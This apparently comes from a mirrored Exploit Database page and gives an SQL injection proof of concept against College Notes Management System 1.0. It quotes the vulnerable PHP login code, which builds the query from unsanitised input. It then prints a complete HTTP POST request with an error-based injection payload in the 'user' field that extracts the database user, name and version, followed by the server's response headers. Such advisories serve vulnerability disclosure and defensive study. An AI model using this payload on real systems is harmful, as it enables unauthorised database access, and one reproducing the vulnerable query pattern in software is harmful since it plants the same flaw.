College Notes Management System 1.0 – ‘user’ SQL Injection

• Exploit Database
• 13 阅读

• 作者： Ihsan Sencan
  日期： 2018-10-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45603/

• # Exploit Title: College Notes Management System 1.0 - 'user' SQL Injection
  # Dork: N/A
  # Date: 2018-10-15
  # Exploit Author: Ihsan Sencan
  # Vendor Homepage: https://anirbandutta.ml/
  # Software Link: https://sourceforge.net/projects/college-notes-management/
  # Software Link: https://github.com/anirbandutta9/College-Notes-Gallery
  # git clone https://git.code.sf.net/p/college-notes-management/code college-notes-management-code
  # Version: 1.0
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: N/A
  
  # POC: 
  # 1)
  # http://192.168.1.27/[PATH]/login.php
  # login.php
  # ......
  # if (isset($_POST['login'])) {
  # $username= $_POST['user'];
  # $password = $_POST['pass'];
  # mysqli_real_escape_string($conn, $username);
  # mysqli_real_escape_string($conn, $password);
  # $query = "SELECT * FROM users WHERE username = '$username'";
  # $result = mysqli_query($conn , $query) or die (mysqli_error($conn));
  # if (mysqli_num_rows($result) > 0) {
  # while ($row = mysqli_fetch_array($result)) {
  # $id = $row['id'];
  # $user = $row['username'];
  # $pass = $row['password'];
  # $name = $row['name'];
  # ......
  
  POST /[PATH]/login.php HTTP/1.1
  Host: 192.168.1.27
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 240
  user='%20aND%20(SeleCT%207804%20FroM(SeleCT%20COUNT(*),ConCaT((SeleCT%20(ELT(7804=7804,1))),ConCaT_WS(0x203a20,usER(),DaTaBaSE(),VERSIon()),FloOR(RaND(0)*2))x%20FroM%20INFORMaTIon_SCHEMa.PLugINS%20GroUP%20BY%20x)a)--%20Efe&pass=&login=login
  HTTP/1.1 200 OK
  Date: Sat, 15 Oct 2018 00:51:03 GMT
  Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
  X-Powered-By: PHP/5.6.30
  Set-Cookie: PHPSESSID=b6mgibtddijtde10ti6umf9kc5; path=/
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Content-Length: 1843
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html; charset=UTF-8